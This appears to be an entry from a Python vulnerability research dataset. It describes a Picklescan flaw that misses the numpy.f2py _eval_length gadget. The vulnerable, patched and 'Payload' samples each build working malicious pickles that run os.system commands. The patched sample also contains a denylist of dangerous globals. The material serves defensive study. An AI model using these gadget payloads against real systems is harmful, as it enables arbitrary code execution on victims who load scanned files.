VAITP Dataset

← Back to the dataset

CVE-2025-71339

Picklescan misses a numpy.f2py gadget, allowing for RCE via pickles.

  • CVSS 7.6
  • CWE-502
  • Input Validation and Sanitization
  • Remote

Picklescan before 0.0.33 fails to detect the numpy.f2py.crackfortran._eval_length gadget in pickle __reduce__ methods, allowing arbitrary code execution. Attackers can craft malicious pickle files that execute arbitrary Python code when loaded by victims who trust Picklescan's safety validation.

CVSS base score
7.6
Published
2026-06-22
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Picklescan
Fixed by upgrading
Yes

Solution

Upgrade to Picklescan 0.0.33 or later.

Vulnerable code sample

import pickle
import os
import numpy.f2py.crackfortran

# This class crafts a malicious pickle payload using the __reduce__ method.
# A vulnerable version of Picklescan would fail to detect the numpy gadget,
# marking the resulting pickle data as safe.
class MaliciousCode:
    def __reduce__(self):
        # The gadget function that Picklescan < 0.0.33 fails to block.
        # This function evaluates a string as Python code.
        gadget = numpy.f2py.crackfortran._eval_length

        # The command to be executed on the victim's machine.
        # For demonstration, this prints a message.
        # A real attacker would use a more harmful command.
        command = "print('>>> PWNED by CVE-2025-71339: Arbitrary code executed <<<')"

        return (gadget, (command,))

# Create the malicious pickle data.
# An attacker would save this to a file and trick a victim into loading it.
malicious_pickle_data = pickle.dumps(MaliciousCode())

# Victim's application loads the data, assuming it was safely scanned.
# This triggers the exploit.
print("Simulating a victim loading the malicious pickle file...")
pickle.loads(malicious_pickle_data)
print("...load complete.")

Patched code sample

import pickle
import pickletools
import io
import os
import numpy.f2py.crackfortran

# This represents the updated set of dangerous functions in a security scanner
# like picklescan. The vulnerability existed because the set was incomplete.
#
# THE FIX: Add the missing dangerous gadget to the set of unsafe globals.
UNSAFE_GLOBALS_AFTER_FIX = {
    'os.system',
    'subprocess.run',
    'eval',
    'exec',
    # This specific function is dangerous because it uses eval() internally.
    # Adding it to the denylist patches the vulnerability.
    'numpy.f2py.crackfortran._eval_length',
}

def fixed_scanner(pickle_data: bytes):
    """
    A simplified scanner that safely inspects pickle data for dangerous globals
    using the patched (fixed) denylist. It does not load/execute the pickle.
    """
    is_safe = True
    for opcode, arg, _ in pickletools.genops(pickle_data):
        if opcode.name == 'GLOBAL':
            fully_qualified_name = arg
            if fully_qualified_name in UNSAFE_GLOBALS_AFTER_FIX:
                print(f"[!] DETECTED UNSAFE GLOBAL: {fully_qualified_name}")
                is_safe = False
    return is_safe

# --- Demonstration of the fix in action ---

# 1. Craft a malicious payload that exploits the specific vulnerability.
#    This class, when pickled, will instruct the loader to call the dangerous
#    numpy function, leading to code execution.
class MaliciousPayload:
    def __reduce__(self):
        # The vulnerable gadget is called with a command to be executed via eval().
        command_to_execute = b"__import__('os').system('echo EXPLOIT SUCCESSFUL')"
        return (numpy.f2py.crackfortran._eval_length, (command_to_execute,))

# 2. Serialize the malicious payload into a pickle byte string.
malicious_pickle = pickle.dumps(MaliciousPayload())

# 3. Use the fixed scanner to inspect the malicious pickle.
#    The scanner should now correctly identify the dangerous gadget.
print("Scanning malicious pickle with the FIXED scanner...")
if not fixed_scanner(malicious_pickle):
    print("\n[SUCCESS] The fix works: The dangerous gadget was correctly identified and blocked.")
else:
    print("\n[FAILURE] The fix did not work.")

# 4. For comparison, scan a safe pickle.
print("\nScanning a safe pickle with the FIXED scanner...")
safe_pickle = pickle.dumps({"data": [1, 2, 3], "status": "ok"})
if fixed_scanner(safe_pickle):
    print("[SUCCESS] The scanner correctly identified the safe pickle.")

Payload

import pickle
import numpy.f2py.crackfortran

class Exploit:
    def __reduce__(self):
        return (numpy.f2py.crackfortran._eval_length, ("__import__('os').system('touch /tmp/pwned')",))

malicious_payload = pickle.dumps(Exploit())

Cite this entry

@misc{vaitp:cve202571339,
  title        = {{Picklescan misses a numpy.f2py gadget, allowing for RCE via pickles.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-71339},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-71339/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::